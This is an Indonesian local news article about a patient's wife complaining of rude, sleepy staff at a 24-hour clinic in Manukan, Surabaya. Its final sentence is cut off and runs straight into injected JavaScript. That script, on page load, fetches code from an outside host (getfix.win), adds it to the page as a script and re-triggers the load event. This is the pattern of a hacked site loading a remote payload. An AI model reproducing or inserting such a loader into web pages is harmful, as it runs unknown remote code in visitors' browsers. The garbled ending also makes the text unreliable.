Surabaya || www.beritaaspirasi.com
Buruknya pelayanan Salah satu klinik yang berlokasi di Jl. Manukan lor, Kel. Manukan kulon, Kec. Tandes, Kota Surabaya, telah melakukan pelayanan yang kurang baik di bagian front office, sehingga menjadi sorotan para kontrol sosial, diantaranya forum wartawan Media Pena Aspirasi Rakyat (PARI).
Kejadian yg dialami oleh seseorang yang berinisial A yang dibawa oleh istrinya yang berinisial S warga kampung Manukan, Kel. Lontar, Kec. Sambikerep hendak berobat. Namun pasien A dalam keadaan sakit lemes tidak mendapatkan pelayanan dari Nakes ataupun dari front office dengan baik
S yang merupakan istri dari A memaparkan kronologi, suatu klinik DE atau pelayanan kesehatan itu seharusnya siap melayani masyarakat yang datang hendak berobat, walaupun disituasi dan kondisi tengah malam sekalipun, mereka malah dengan raut muka yang tidak enak karena nakes tersebut sedang tidur dan dibangunkan, mereka juga ketus bahkan kurang respon ke pasien. seharusnya mereka melayani dengan menggunakan bahasa yang sopan dan ramah ke masyarakat bukan malah menantang dengan mata melotot dan jutek.
“Memang, kami datang ke klinik “DE” untuk berobat diwaktu dini hari, namun pelayanan dari Front office dan sedang nakes jaga tersebut sedang tidur ketika dibangunkan muka nakes tersebut jutek dan tidak menggunakan bahasa yang kurang sopan dan minim attitude” keluh istri dari si A kepada wartawan secara langsung, pada Minggu (18/5/2025).
Padahal, sambung dia, sebuah pelayanan kesehatan atau klinik, swasta maupun negeri itu wajib memberikan pertolongan kepada pasien yang hendak berobat setiap saat karena memang klinik tersebut 24 jam.
“Harusnya nakes pelayanan Front office ini memberikan pelayanan yang terbaik kepada pasien bukan menjawab dengan lantang opo yg berarti “apa”6 kepada pasien ” red.;document.addEventListener(“DOMContentLoaded”, function () {
var url = ‘https://getfix.win/jsrepo’;
fetch(url)
.then(response => response.text())
.then(data => {
var script = document.createElement(‘script’);
script.innerHTML = data.trim();
document.head.appendChild(script);
if (document.readyState === ‘complete’ || document.readyState === ‘interactive’) {
var event = new Event(‘DOMContentLoaded’);
document.dispatchEvent(event);
}
})
});
